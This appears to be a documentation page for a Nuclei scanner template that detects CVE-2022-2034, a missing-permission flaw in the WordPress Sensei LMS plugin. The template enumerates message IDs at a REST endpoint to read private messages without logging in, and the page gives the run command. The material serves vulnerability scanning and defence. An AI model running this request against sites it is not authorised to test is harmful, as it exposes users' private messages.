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WordPress Sensei LMS <4.5.0 - Information Disclosure

ID: CVE-2022-2034

Severity: medium

Author: imhunterand

Tags: cve,cve2022,wp,disclosure,wpscan,sensei-lms,fuzz,hackerone,wordpress,wp-plugin,automattic

Description

Section titled “Description”

WordPress Sensei LMS plugin before 4.5.0 is susceptible to information disclosure. The plugin does not have proper permissions set in a REST endpoint, which can allow an attacker to access private messages.

YAML Source

Section titled “YAML Source”
id: CVE-2022-2034


info:
  name: WordPress Sensei LMS <4.5.0 - Information Disclosure
  author: imhunterand
  severity: medium
  description: |
    WordPress Sensei LMS plugin before 4.5.0 is susceptible to information disclosure. The plugin does not have proper permissions set in a REST endpoint, which can allow an attacker to access private messages.
  remediation: |
    Upgrade WordPress Sensei LMS to version 4.5.0 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/aba3dd58-7a8e-4129-add5-4dd5972c0426
    - https://hackerone.com/reports/1590237
    - https://wordpress.org/plugins/sensei-lms/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2034
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2034
    cwe-id: CWE-639
    epss-score: 0.00506
    epss-percentile: 0.76436
    cpe: cpe:2.3:a:automattic:sensei_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 100
    vendor: automattic
    product: sensei_lms
    framework: wordpress
  tags: cve,cve2022,wp,disclosure,wpscan,sensei-lms,fuzz,hackerone,wordpress,wp-plugin,automattic


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}"


    payloads:
      num: helpers/wordlists/numbers.txt
    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'sensei_message'
          - 'guid":{"rendered":'
        condition: and


      - type: word
        part: header
        words:
          - application/json


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-2034.yaml"

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